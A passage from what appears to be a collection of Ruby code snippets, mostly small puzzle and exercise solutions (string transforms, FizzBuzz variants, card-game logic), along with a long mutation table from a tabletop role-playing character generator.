accidental; end","def smart_aces hand\n# Adjusts the value of \"Ace\" elements to be either 1 or 11 depending on the hand total\n\thand_total = hand.reduce :+\n\tif hand_total < 12 && hand_total > 2\n\t\thand.map! do |card|\n\t\t\tif card == 1\n\t\t\t\t11\n\t\t\telse\n\t\t\t\tcard\n\t\t\tend\n\t\tend\n\telsif hand_total > 21\n\t\thand.map! do |card|\n\t\t\tif card == 11\n\t\t\t\t1\n\t\t\telse\n\t\t\t\tcard\n\t\t\tend\n\t\tend\n\telsif hand_total == 2\n\t\thand[0] = 11\n\tend\n\nend","def cracklepop3\n (1..100).zip(Array.new 100, nil).map do |i,x|\n [i%3, i%5].map.with_index do |y, j| \n x = x.to_s + ['crackle','pop'][j] if y==0\n end\n x ? x : i\n end\nend","def pirates_say_arrrrrrrrr(string)\n new_string = \"\"\n\n (string.size-1).times do |index|\n current_character = string[index]\n next_character = string[index + 1]\n\n new_string << next_character if (current_character == \"r\" || current_character == \"R\")\n end\n new_string\nend","def change_from_plus2_probability(card)\n p = @stack.select { |c| c.figure == :wild4 || c.figure == :plus2 || c.figure == :reverse && c.color == card.color }.length.to_f\n @prob_cache[3000 + card.code] ||= has_card_with_property p\n end","def pirates_say_arrrrrrrrr(string)\n to_return = \"\"\n next_letter = false\n string.size.times do |letter|\n current_letter = string[letter]\n to_return << current_letter if next_letter\n next_letter = (current_letter == \"r\" or current_letter == \"R\")\n end\n to_return\n \nend","def upc_a_with_composite_symbology; end","def pirates_say_arrrrrrrrr(string)\nresult = \"\"\n string.size.times { |i| result << string[i+1] if string[i] == \"r\" || string[i] == \"R\"}\nreturn result\nend","def bathroom_code(input)\n x, y = [0, 0]\n\n number_pad = {\n 1 => [-1, 1],\n 2 => [0, 1],\n 3 => [1, 1],\n 4 => [-1, 0],\n 5 => [0, 0],\n 6 => [1, 0],\n 7 => [-1, -1],\n 8 => [0, -1],\n 9 => [1, -1]\n }\n\n code = []\n\n input.each do |button|\n button.each_char do |char|\n if char == \"U\" && y < 1\n y += 1\n elsif char == \"D\" && y > -1\n y -= 1\n elsif char == \"R\" && x < 1\n x += 1\n elsif char == \"L\" && x > -1\n x -= 1\n end\n end\n code << number_pad.key([x, y])\n end\n code.join\nend","def get_hint(secret, guess)\n bulls = 0\n cows = 0\n\n tracker = Hash.new(0)\n secret.each_char { |char| tracker[char] += 1 }\n guess.each_char.with_index do |char, i|\n if secret[i] == guess[i]\n bulls += 1\n if tracker[char] > 0\n tracker[char] -= 1\n else\n cows -= 1\n end\n elsif tracker[char] > 0\n tracker[char] -= 1\n cows += 1\n end\n end\n\n \"#{bulls}A#{cows}B\"\nend","def try_to_loan(loan)\n atms = Array.new(100) { |i| i.even? ? 2**i : -2**i }\n signs = atms.dup\n moves = []\n while loan != 0\n # binding.pry\n first_bigger, method = next_value(loan, atms)\n break if first_bigger == false\n if method == :cut\n moves << signs.index(atms[first_bigger])\n loan -= atms.delete_at(first_bigger)\n moves << signs.index(atms[first_bigger - 1]) if loan != 1\n loan -= atms.delete_at(first_bigger - 1) if loan != 1\n else\n moves << signs.index(atms[first_bigger - 2])\n loan -= atms.delete_at(first_bigger - 2)\n end\n p moves\n p loan\n end\nend","def onomatopoeic(raindrop)\n PHONEMES.reduce nil do |morpheme, (factor, phoneme)|\n if raindrop.modulo(factor).zero?\n [morpheme, phoneme].join\n else\n morpheme\n end\n end\n end","def adjacent_allies_of(pokemon)\n allies_of(pokemon, true)\n end","def magiceightball\n\t\t answers = [\"outlook not so good\", \"cloudy, ask again later\", \"it is meant to be\", \"you may rely on it\"]\n\t\t @result = answers[Random.rand(4)]\n\tend","def pirates_say_arrrrrrrrr(string) #defines a method with 1 parameter\n answer = \"\" #sets up a blank variable for the answer\n add_next_letter = false #sets up a variable with false\n string.length.times do |count| #finds length of string and creates a loop to work that many times\n the_character = string[count] #puts the count character into the the_character\n answer << the_character if add_next_letter #appends the answer if\n add_next_letter = (the_character == \"r\" || the_character == \"R\") #adds in next letter if the next character is R or R.\n end #ends the loop\n answer #returns the answer\nend","def permute(pt, perm)\n # split the plaintext sting into an array of strings representing bits\n b = pt.hex.to_s(2).split(//)\n # pad the array with leading 0's\n while (b.length < 16)\n b.insert(0,\"0\")\n end\n # create the output ciphertext array of bits\n ct = []\n # for each bit set the ciphertext bit to the permuted value\n b.each_with_index { |d,i| ct[i] = b[perm[i] - 1] }\n # turn the array of strings back into a hex string\n return ct.join.to_i(2).to_s(16)\nend","def vulnerable_undertrick_points\n if !made?\n p = -100 * modifier\n if result < -1\n return p += (result + 1) * 300 if doubled?\n return p += (result + 1) * 600 if redoubled?\n return p += (result + 1) * 100\n end\n p\n else\n 0\n end\n end","def minor_mutations_determination(roll)\n case roll\n when 1..16\n def blood_color_alteration(roll) # Hub Rules p. 77\n case roll\n when 1\n \"pink\"\n when 2\n \"lavender\"\n when 3\n \"violet\"\n when 4\n \"purple\"\n when 5\n \"white\"\n when 6\n \"copper\"\n when 7\n \"amber\"\n when 8\n \"lime green\"\n when 9\n \"aquamarine\"\n when 10\n \"emerald\"\n when 11\n \"olive\"\n when 12\n \"blue\"\n when 13\n \"green\"\n when 14\n \"turquoise\"\n when 15\n \"black\"\n when 16\n \"orange\"\n when 17\n \"gray\"\n when 18\n \"yellow\"\n when 19\n \"silver\"\n when 20\n \"clear\"\n end\n end\n\n blood_color = blood_color_alteration(d(20))\n\n @@minor_mutations << \"Blood Color Alteration: mutant's blood is #{blood_color}-colored.\"\n when 17..21\n @@minor_mutations << \"Eye Lights: at will, mutant's eyes produce bright light beams, like spotlights, within 20m.\"\n when 22..23\n @@minor_mutations << \"Hibernation: mutant can sleep in a near-death state for up to 5 months, requiring no food or water.\"\n when 24..26\n @@minor_mutations << \"Longevity: Mutant ages at 1/2 typical rate.\"\n when 27..30\n @@minor_mutations << \"Nutriment Cache: mutant's body stores 40 days' worth of supplemental food. Cache refilled by 4 days of full meals.\"\n when 31..33\n @@minor_mutations << \"Offspring Link: an unbreakable telepathic link exists between mutant and parents or children. Only emotions or feelings can be communicated.\"\n when 34..91\n def physical_alterations_mutations(roll) # Hub Rules p. 77-78\n case roll\n when 1\n physical_alteration = \"Three nostrils\"\n @@appearance = [@@appearance - d(3), 1].max\n when 2\n physical_alteration = \"Extra set of ears\"\n @@character_notes << \"2x hearing range; 2x dmg from sonic attacks\"\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\n when 3\n physical_alteration = \"Two mouths, one above the other\"\n @@appearance = [@@appearance - d(6), 1].max\n when 4\n physical_alteration = \"Six fingers per hand.\"\n when 5\n physical_alteration = \"Six toes per foot.\"\n when 6\n physical_alteration = \"Extra breast.\"\n when 7\n physical_alteration = \"Nose grew on forehead.\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n when 8\n physical_alteration = \"Pointed ears.\"\n when 9\n physical_alteration = \"Extra joint in fingers and toes.\"\n when 10\n physical_alteration = \"Third eye between others.\"\n @@appearance = [@@appearance - d(6), 1].max\n @@accuracy += (d(4) + d(4))\n when 11\n physical_alteration = \"Only four fingers per hand.\"\n when 12\n physical_alteration = \"Only four toes per foot.\"\n when 13\n physical_alteration = \"Legs 1/4 longer than usual.\"\n @@appearance = [@@appearance - d(3), 1].max\n @@movement_rate_base += 2\n when 14\n extra_ribs = (d(4) + d(4))\n physical_alteration = \"Extra #{extra_ribs} pairs of ribs.\"\n @@appearance = [@@appearance - extra_ribs, 1].max\n @@endurance += (extra_ribs * 2)\n @@character_height += (extra_ribs * 4)\n when 15\n physical_alteration = \"Extra set of lungs.\"\n @@endurance && @@strength += 10\n @@movement_rate_base += 1\n when 16\n physical_alteration = \"Stubby tail, #{5 + d(12)} cm long.\"\n when 17\n physical_alteration = \"Arms twice as long as normal.\"\n @@character_notes << \"In melee: +1 initiative, +5 SV, +4 dmg\" # add SV and dmg bonus to ALL melee attacks...\n # @@initiative += 1 Since bonus applies to melee only, left it in the notes instead of adjusting base initiative value.\n @@appearance = [@@appearance - d(6), 1].max\n when 18\n physical_alteration = \"Longer neck #{(20 + d(20))} cm longer than typical.\"\n @@appearance = [@@appearance - d(2), 1].max\n when 19\n def bulbous_head_mutation(roll)\n case roll\n when 1..77\n ghost_mutations_rolls += d(2)\n physical_alteration = \"Bulbous head with ghost mutations.\"\n when 78..100\n physical_alteration = \"Bulbous head.\"\n end\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n @@intelligence += (d(20) + d(20))\n end\n\n bulbous_head_mutation(d(100))\n\n when 20\n physical_alteration = \"Sunken, skull-like eye sockets.\"\n @@appearance = [@@appearance - (d(6) + 1), 1].max\n when 21\n physical_alteration = \"Bulbous eyes.\"\n @@appearance = [@@appearance - (d(6) + 2), 1].max\n @@initiative += 1\n when 22\n cone_head_height = (d(20) + d(20))\n physical_alteration = \"Cone head #{cone_head_height} taller than typical.\"\n @@appearance = [@@appearance - (cone_head_height / 4), 1].max\n @@intelligence += d(4)\n @@character_height += cone_head_height\n when 23\n physical_alteration = \"Oversized jaws.\"\n @@appearance = [@@appearance - (d(3) + 1), 1].max\n @@character_notes << \"Bite attack d6 + strength bonus\"\n when 24\n physical_alteration = \"Hunchbacked.\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n @@movement_rate_base -= 0.5\n @@endurance += (d(6) + d(6) + d(6))\n when 25\n physical_alteration = \"Deeply wrinkled skin.\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n when 26\n physical_alteration = \"Especially smooth, firm skin.\"\n @@appearance += (d(6) + d(6))\n when 27\n physical_alteration = \"Disheveled body/face.\"\n @@movement_rate_base -= 0.5\n @@agility = [@@agility - d(6), 1].max\n @@appearance = [@@appearance - d(6), 1].max\n when 28\n physical_alteration = \"Very balanced body/face\"\n @@movement_rate_base += 1\n @@agility += d(6)\n @@accuracy += d(6)\n @@strength += d(6)\n @@appearance += (d(6) + d(6))\n when 29\n physical_alteration = \"Chafing voice.\"\n when 30\n physical_alteration = \"Superior hand-eye coordination.\"\n @@accuracy += (d(6) + d(6) + d(6))\n when 31\n physical_alteration = \"Elongated chin\"\n @@appearance = [@@appearance - d(3), 1].max\n when 32\n physical_alteration = \"Mohawk-like ridge of hair down spine.\"\n when 33\n physical_alteration = \"Beard grows in fork pattern (males only)\"\n when 34\n physical_alteration = \"Bony studs cover body\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n @@dv -= (d(6) + d(6))\n when 35\n physical_alteration = \"Skin and hair constantly oily.\"\n @@appearance = [@@appearance - d(3), 1].max\n when 36\n physical_alteration = \"Spiked forearms\"\n @@appearance = [@@appearance - d(6), 1].max\n @@attacks << {:attack_mode => \"Spiked forearm smash\", :SV => 3, :rate => 2, :range => 0, :damage => \"d10\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"77\", :notes => \"Replaces standard punch.\"}\n when 37\n physical_alteration = \"Increased immunity to alcohol - needs 2x to feel effects.\"\n when 38\n physical_alteration = \"Sonic absorption organ, 1/2 dmg from all sonic attacks.\"\n when 39\n physical_alteration = \"Spike on forehead #{5 + d(10)} cm long.\"\n @@appearance = [@@appearance - d(6), 1].max\n @@attacks << {:attack_mode => \"Forehead spike\", :SV => 3, :rate => 1, :range => 0, :damage => \"d12\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"77\", :notes => \"\"}\n when 40\n physical_alteration = \"Chicken legs.\"\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\n @@movement_rate_base += 2\n @@attacks << {:attack_mode => \"Chicken leg kick\", :SV => 3, :rate => 1, :range => 0, :damage => \"d12\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"77\", :notes => \"Additional melee atack\"}\n when 41\n physical_alteration = \"Dog legs.\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n @@movement_rate_base += (d(6) + d(6) + 2)\n when 42\n physical_alteration = \"Goat legs.\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n @@movement_rate_base += (d(8) + d(8) + 2)\n when 43\n physical_alteration = \"Bat wings instead of arms, tipped with human hands.\"\n when 44\n physical_alteration = \"Massive muscles.\"\n @@movement_rate_base -= 0.5\n @@character_weight += 30\n @@strength += (30 + d(20))\n @@endurance += (10 + d(10))\n when 45\n physical_alteration = \"Barrel-shaped torso.\"\n @@appearance = [@@appearance - d(4), 1].max\n @@strength += (d(8) + d(8))\n @@endurance += (d(10) + d(10) + d(10))\n when 46\n physical_alteration = \"Warty skin.\"\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\n when 47\n physical_alteration = \"Large bulbous nose.\"\n @@appearance = [@@appearance - d(4), 1].max\n when 48\n physical_alteration = \"Massive floppy ears.\"\n @@appearance = [@@appearance - d(8), 1].max\n @@character_notes << \"Due to massive floppy ears, 50 percent hearing increase.\"\n when 49\n physical_alteration = \"Protruding veins.\"\n @@appearance -= (d(4) + d(4))\n when 50\n physical_alteration = \"Stocky legs.\"\n @@appearance = [@@appearance - d(3), 1].max\n @@movement_rate_base -= 1\n when 51\n physical_alteration = \"Broad, flat head, eyes wide apart, pancake-like face.\"\n @@appearance = [@@appearance - (d(6) + 3), 1].max\n when 52\n physical_alteration = \"Lion-like mane, looks like a huge beard.\"\n @@dv -= 2\n # females only @@appearance -= (d(6) + d(6))\n when 53\n physical_alteration = \"Horse tail.\"\n @@agility += d(3)\n when 54\n physical_alteration = \"Skull-like face, sunken features.\"\n @@appearance = [@@appearance - (d(6) + d(6) + 5), 1].max\n when 55\n physical_alteration = \"Lizard tongue.\"\n when 56\n physical_alteration = \"Huge, saggy cheeks.\"\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\n when 57\n feeding_tentacles = (d(6) + d(6))\n physical_alteration = \"#{feeding_tentacles} around mutant's mouth.\"\n @@appearance = [@@appearance - (feeding_tentacles * 2), 1].max\n when 58\n physical_alteration = \"Tongue #{(10 + d(20))} cm long.\"\n when 59\n physical_alteration = \"Large, high forehead.\"\n @@appearance = [@@appearance - d(4), 1].max\n @@intelligence += d(4)\n when 60\n extra_eyes = (d(6) + d(6))\n physical_alteration = \"#{extra_eyes} extra eyes.\"\n @@appearance = [@@appearance - (extra_eyes), 1].max\n @@initiative += (extra_eyes / 2)\n @@character_notes << \"Vision acuity increased by #{(extra_eyes / 2) * 5} percent by extra eyes.\"\n when 61\n physical_alteration = \"Hair the thickness of string.\"\n when 62\n physical_alteration = \"Facial order upside down: mouth on forehead, nose, then eyes.\"\n @@appearance = [@@appearance - (d(6) + d(6) + d(6) + d(6)), 1].max\n when 63\n physical_alteration = \"Double-speed hair growth.\"\n when 64\n physical_alteration = \"Eyes are on the sides of the mutant's head.\"\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\n @@perception += (d(4) + d(4))\n when 65\n physical_alteration = \"Huge toad-like eyes on top of mutant's head.\"\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\n @@perception += (d(10) + d(10))\n when 66\n extra_finger_location = random_body_location(d(20))\n physical_alteration = \"Extra finger on #{extra_finger_location}. Mutant suffers -#{d(3)} appearance if extra finger isn't concealed.\"\n when 67\n prehensile_tail_location = random_body_location(d(20))\n physical_alteration = \"Prehensile tail on #{prehensile_tail_location}, 3m length. Can wield dagger or knife in combat.\"\n @@agility += (d(4) + d(4))\n @@movement_rate_base += 1\n if prehensile_tail_location == \"head\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n else\n @@appearance = [@@appearance - d(6), 1].max\n end\n when 68\n physical_alteration = \"Strong immune system: mutant gains 2 hazard checks vs. poison, radiation, disease, etc.\"\n @@character_notes << \"Due to strong immune system, 2 hazard checks vs. poison, radiation, disease, etc.\"\n @@endurance_healing_rate += 4\n\n when 69\n physical_alteration = \"Thick bones.\"\n @@endurance += (d(6) + d(6))\n when 70\n physical_alteration = \"Exceedingly flexible.\"\n @@agility += (d(6) + d(6))\n when 71\n physical_alteration = \"Slow metabolism - mutant requires 1/2 as much food as typical human.\"\n when 72\n physical_alteration = \"Ventriloquist vocal chords - mutant can throw voice 5m.\"\n when 73\n physical_alteration = \"Chameleon skin: can change flesh color to blend into surroundings as skill: conceal self or concealed movement as skill level 4 when near naked.\"\n when 74\n physical_alteration = \"Elongated tongue: #{(14 + d(6) + d(6))} cm long.\"\n when 75\n physical_alteration = \"Gorilla-like hair covers entire body.\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n when 78\n physical_alteration = \"Four legs, two sets of hips, legs work in unison.\"\n @@movement_rate_base += (d(6) + 1)\n @@endurance += (d(6) + d(6) + d(6))\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n when 79\n physical_alteration = \"Baggy skin on body and face.\"\n @@appearance = [@@appearance - (d(10) + d(10) + 6), 1].max\n when 80\n physical_alteration = \"Fungal skin growth: white patches across mutant's body.\"\n @@appearance = [@@appearance - d(8), 1].max\n when 81\n physical_alteration = \"Fins grow on mutant's back, shoulders and arms - excellent swimmer!\"\n @@character_notes << \"Due to fins, mutant cannot wear combat or shell class relic armors. Unless fins are sawed off...\"\n @@dv -= 4\n @@appearance = [@@appearance - d(6), 1].max\n @@movement_rate_swimming += d(6)\n when 82\n physical_alteration = \"Awesome body - centerfold level.\"\n @@appearance += (10 + d(10))\n @@strength += (10 + d(10))\n @@endurance += d(10)\n @@agility += d(10)\n @@accuracy += d(10)\n when 83\n physical_alteration = \"Huge heart pumps blood more efficiently.\"\n @@strength += (10 + d(10))\n @@endurance += (10 + d(10))\n @@movement_rate_base += 1\n when 84\n physical_alteration = \"Dense skin: mutant's skin is thick and resistant to physical harm.\"\n @@dv -= 5\n @@endurance += (d(10) + d(10))\n when 85\n physical_alteration = \"Carnivore: mutant cannot safely digest plant matter; however, carrion can be eaten safely.\"\n when 86\n physical_alteration = \"Herbivore: mutant cannot digest meat or animal-derived foods. However, mutant can live on scrub weeds, dry grass, cactus, etc.\"\n when 87\n physical_alteration = \"Bristly patches of thick hair cover #{(10 + d(10))} percent of mutant's body.\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n @@dv -= (d(3) + 1)\n when 88\n physical_alteration = \"Patches of lizard scales cover #{(12 + d(12))} percent of mutant's body.\"\n @@appearance = [@@appearance - (d(8) + d(8)), 1].max\n @@dv -= d(8)\n when 89\n physical_alteration = \"Bone spikes on knees and elbows.\"\n @@appearance = [@@appearance - d(4), 1].max\n @@dv -= 1\n @@attacks << {:attack_mode => \"Bone spikes\", :SV => 3, :rate => 2, :range => 0, :damage => \"d8\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"78\", :notes => \"\"}\n @@character_notes << \"Due to bone spikes, mutant cannot wear combat or shell class relic armors. Unless they are sawed off...\"\n when 90\n physical_alteration = \"Bone-studded fists: +3 dmg to punch attack.\"\n when 91\n physical_alteration = \"Bone ridge down back.\"\n @@appearance = [@@appearance - d(4), 1].max\n @@dv -= (6 + d(6))\n when 92\n physical_alteration = \"Pig's nose.\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n @@character_notes << \"Due to pig's nose, mutant has 50 percent enhanced olfactory sense.\"\n when 93\n physical_alteration = \"Two nipples on each breast.\"\n when 94\n physical_alteration = \"Four ears.\"\n @@appearance = [@@appearance - d(6), 1].max\n @@initiative += 1\n @@character_notes << \"Due to additional ears, character has double the chance to hear anything.\"\n when 95\n physical_alteration = \"Bone spines on back.\"\n @@appearance = [@@appearance - d(6), 1].max\n @@dv -= (d(6) + d(6) + 9)\n @@character_notes << \"Due to bone spines, mutant cannot wear combat or shell class relic armors. Unless they're sawed off...\"\n when 96\n physical_alteration = \"Bone frill around base of skull.\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n @@dv -= (d(6) + d(6))\n @@character_notes << \"Due to bone frill, mutant cannot wear combat or shell class relic armors. Unless it's sawed off...\"\n @@attacks << {:attack_mode => \"Bone frill slash\", :SV => 4, :rate => 1, :range => 0, :damage => \"d12 + 2\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"78\", :notes => \"\"}\n when 97\n physical_alteration = \"Dense muscles and bones.\"\n @@strength += (d(6) + d(6) + d(6))\n @@endurance += (d(6) + d(6) + d(6))\n when 98\n physical_alteration = \"Cat-like balance and grace.\"\n @@agility += (d(6) + d(6))\n @@accuracy += (d(6) + d(6))\n @@appearance += (d(4) + d(4))\n when 99\n 2.times physical_alterations_mutations(d(100))\n when 100\n physical_alteration = \"Toughness.\"\n @@strength += (d(6) + d(6))\n @@endurance += (d(6) + d(6))\n 2.times physical_alterations_mutations(d(100))\n end\n\n @@minor_mutations << \"Physical alteration: #{physical_alteration}\"\n end\n\n physical_alterations_mutations(d(100))\n\n when 92..94\n @@minor_mutations << \"Pouch: water-tight abdominal pouch capable of concealing a relic handgun, 2 grenades, a sheathed knife, 1 days' food and water, tinderbox, or similar-sized objects.\"\n when 95..97\n def wakefulness(roll)\n case roll\n when 2\n \"#{d(6)} hours\"\n when 3..5\n \"#{d(4)} hours\"\n when 6..8\n \"#{d(3)} hours\"\n when 9..10\n \"1 hour\"\n when 11\n \"#{d(20)} minutes\"\n when 12\n \"Mutant never sleeps\"\n end\n sleep_needs = wakefulness((d(6) + d(6)))\n @@minor_mutations << \"Wakefulness: mutant requires less sleep - #{sleep_needs} nightly.\"\n end\n\n when 98..100 # Supposed to roll separate INT and WIL scores for each brain... haven't implemented that yet.\n def underdeveloped_limb(roll)\n case roll\n when 1\n @@minor_mutations << \"A handless arm grows from the shoulder. This limb could have an axe or sword lashed to it for an additional melee attack.\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n when 2\n def extra_head_feature(roll)\n case roll\n when 1\n \"only a mouth\"\n when 2\n \"reserve mind\"\n # add reserve mind\n when 3\n \"a single eye\"\n when 4\n \"a nose only\"\n when 5\n \"ears only\"\n when 6\n \"brain with one random mental mutation, TME1-59 p 59\"\n end\n end\n @@minor_mutations << \"The beginnings of an extra head grows from the shoulders with #{extra_head_feature(d(6))}.\"\n @@appearance = [@@appearance - (d(6) + d(6) + 2), 1].max\n when 3\n @@minor_mutations << \"A third leg grows off the hip, ending at the knee.\"\n @@appearance = [@@appearance - (d(6) + d(6) + 2), 1].max\n @@movement_rate_base -= 1\n when 4\n @@minor_mutations << \"#{d(4)} handless arms grow from the shoulders. Can have a melee weapon lashed to each for additional melee attacks.\"\n when 5\n def extra_torso_feature(roll)\n case roll\n when 1\n \"female reproductive system\"\n when 2\n \"male reproductive system\"\n when 3\n \"additional heart and lungs\"\n @@endurance += (d(10) + d(10))\n @@strength += (d(10) + d(10))\n when 4\n \"digestive system\"\n when 5\n \"#{d(4)} reserve minds\"\n when 6\n #not sure whether this will work...\n brain_extra_mutation = ghost_mutations_determination(d(100))\n \"brain with 1 mental mutation: #{brain_extra_mutation}\"\n end\n end\n @@minor_mutations << \"A large extra torso-like bulge grows from mutant's back, including #{extra_torso_feature(d(6))}.\"\n @@character_weight += 20\n @@appearance = [@@appearance - (d(6) + d(6) + 3), 1].max\n when 6\n head_numbers = d(4)\n head_numbers.times do\n @@minor_mutations << \"Underdeveloped extra head number #{head_numbers} with #{extra_head_feature(d(6))}\"\n head_numbers -= 1\n end\n @@appearance = [@@appearance - (d(6) + d(6) + 2), 1].max\n when 7\n def shrunken_arm_location(roll)\n case roll\n when 1\n \"back\"\n when 2\n \"chest\"\n when 3\n \"side\"\n when 4\n \"shoulder\"\n when 5\n \"belly\"\n when 6\n \"hip\"\n end\n end\n @@minor_mutations << \"A shrunken arm and tiny hand grow from mutant's #{shrunken_arm_location(d(6))}. Arm is 1/4 strength of others but can use a small weapon if character wishes.\"\n @@appearance = [@@appearance - d(6), 1].max\n when 8\n def single_eye_mutation(roll1,roll2) # p. 79\n case roll1\n when 1\n \"back of head\"\n when 2\n \"shoulder\"\n when 3\n \"chest\"\n when 4\n \"forehead\"\n when 5\n \"back\"\n when 6\n \"belly\"\n end\n\n case roll2\n when 1..66\n def single_eye_ability(roll3) # need to add in actual mutation attacks here...\n end\n end\n case roll3\n when 1\n \"devastator pulse\"\n when 2\n \"electro magnetic pulse\"\n when 3\n \"beam eyes\"\n when 4\n \"electrical pulse\"\n when 5\n \"light burst\"\n when 6\n \"night vision\"\n end\n end\n single_eye_ability(d(6))\n @@minor_mutations << \"A single eye winks from mutant's #{single_eye_mutation(d(6), d(100))}\"\n\n # @@minor_mutations << \"Underdeveloped Limb\" # I think this line is redundant...\n end\n underdeveloped_limb(d(8))\n end\nend\n##### End Table TME-1-60 #####\n\n @@minor_mutations_rolls.times do\n minor_mutations_determination(d(100))\n end\n\n\n if @@flaw_mutations_rolls > 0\n flaw_mutations = Array.new\n end\n\n##### Table TME-1-61, Flaw Mutations, Hub Rules p. 59 #####\n\n def flaw_mutations_determination(roll)\n case roll\n when 01..02\n @@flaw_mutations << \"Abnormal Anxiety\"\n when 03..04\n @@flaw_mutations << \"Altered Digestive Tract\"\n when 05..06\n @@flaw_mutations << \"Baldness\"\n when 07..17\n @@flaw_mutations << \"Birth Defect\"\n when 18..19\n @@flaw_mutations << \"Blocked Sinuses\"\n when 20..21\n @@flaw_mutations << \"Chronic Acne\"\n when 22..23\n @@flaw_mutations << \"Chronic Dermatitis\"\n when 24..25\n @@flaw_mutations << \"Chronic IngrownHairs\"\n when 26..27\n @@flaw_mutations << \"Chronic Ulcers\"\n when 28..29\n @@flaw_mutations << \"Coronary Thrombosis\"\n when 30..31\n @@flaw_mutations << \"Degenerated Nervous System\"\n when 32..33\n @@flaw_mutations << \"Dizziness\"\n when 34..35\n @@flaw_mutations << \"Early Menopause (females only)\"\n when 36..37\n @@flaw_mutations << \"Excessive Lung Fluid\"\n when 38..39\n @@flaw_mutations << \"Exhaustion\"\n when 40..41\n @@flaw_mutations << \"Extensive Warts\"\n when 42..43\n @@flaw_mutations << \"Extreme Halitosis\"\n when 44..45\n @@flaw_mutations << \"Faulty Immune System\"\n when 46\n @@flaw_mutations << \"Flammable Tissues\"\n when 47\n @@flaw_mutations << \"Hemophilia\"\n when 48..49\n @@flaw_mutations << \"Hormone Disorder\"\n when 50..51\n @@flaw_mutations << \"Inadequate Nerve Endings\"\n when 52\n @@flaw_mutations << \"Increased Aging\"\n when 53\n @@flaw_mutations << \"Increased Flatulence\"\n when 54..57\n @@flaw_mutations << \"Intense Allergy\"\n when 58..59\n @@flaw_mutations << \"Male Menopause (males only)\"\n when 60..61\n @@flaw_mutations << \"Migraine Headaches\"\n when 62..63\n @@flaw_mutations << \"Osteoporosis\"\n when 64..65\n @@flaw_mutations << \"Permanent Rhinitis\"\n when 66..67\n @@flaw_mutations << \"Perpetual Hiccups\"\n when 68..69\n @@flaw_mutations << \"Pre-Senile Dementia\"\n when 70..71\n @@flaw_mutations << \"Psoriasis\"\n when 72..73\n @@flaw_mutations << \"Reactionary Scent\"\n when 74\n @@flaw_mutations << \"Repeat Paralysis\"\n when 75\n @@flaw_mutations << \"Sonic Intolerance\"\n when 76..77\n @@flaw_mutations << \"Sterility\"\n when 78..79\n @@flaw_mutations << \"Tapeworms\"\n when 80..81\n @@flaw_mutations << \"Tooth Decay\"\n when 82..86\n @@flaw_mutations << \"Toxic Susceptibility\"\n when 87..88\n @@flaw_mutations << \"Tranquilizer Agent\"\n when 89..94\n @@flaw_mutations << \"Visual Disorder\"\n when 95..96\n @@flaw_mutations << \"Voice Disorder\"\n when 97..98\n @@flaw_mutations << \"Weeping\"\n when 99..00\n @@flaw_mutations << \"Whistle Croup\"\n end\n end\n\n @@flaw_mutations_rolls.times do\n flaw_mutations_determination(d(100))\n end\n end","def larg_palin_product\n max_product = 1\n (100...1000).each do |x|\n (100...1000).each do |y|\n max_product = x*y if (isPalindome x*y) && (x*y > max_product)\n end\n end\n max_product\nend","def pirates_say_arrrrrrrrr(string) \n to_return = \"\" # return a string\n add_next = false \n string.size.times do |index| #iterate upwards adding to the index for each look\n current_char = string[index,1] # the present character is index 1 ont he string\n to_return << current_char if add_next #move to the next character\n add_next = (current_char == \"r\" || current_char == \"R\") # only add if the current character is an upper or lower case \n end\n to_return\nend","def straight\n str= {}\n (0..8).each { |i|\n d=[14-i,13-i,12-i,11-i,10-i]\n @hash_7_card.each { |s,_r| str[s]=@hash_7_card[s]&d }\n #check that {str} has the right array of combination - straight\n z=[]\n str.each{|_s,r| z +=r }\n return str if d&z == d\n }\n nil\n end","def point_mutation( bitstring , rate = 1.0/bitstring.size )\n child = \"\"\n bitstring.size.times do |i|\n bit = bitstring[i] # for each bit in the string\n child << ((rand < rate) ? ((bit == '1') ? \"0\" : \"1\") : bit) # change the bit value only if the rand is minor than the mutation probability\n end\n return child\n end","def full_game\n 52.times do\n round\n end\n output\n rematch\n end","def pirates_say_arrrrrrrrr(string)\n return_this = \"\"\n new_array = Array.new\n new_array << string.each_char\n\n new_array.size.times do |h|\n next if h != \"r\"\n #assign h an index number\n #record every encounter of when h is \"r\" along with it's index number.\n #add one to this index number\n #go back to the orignal array of charaters or orignal string.\n #find which character is at the index number of h as \"r\" plus one\n #return this charater by putting it into the retrun_this empty string varaible.\n end\nend","def puf_syndrome\n \n end","def shoulders_stretch \n \"Raise both shoulders at once up toward the ears. Drop them and repeat 10 times each direction.\"\nend","def mill_spiral(\r\n mill,\r\n cent_x,\r\n cent_y,\r\n inner_diam,\r\n outer_diam,\r\n channel_width,\r\n wall_thick,\r\n depth = nil)\r\n# - - - - - - - - - - - - - - - - - - -\r\n cut_inc = mill.cut_increment\r\n degree_inc = 1.0\r\n min_radius = inner_diam / 2.0\r\n max_radius = outer_diam / 2.0\r\n 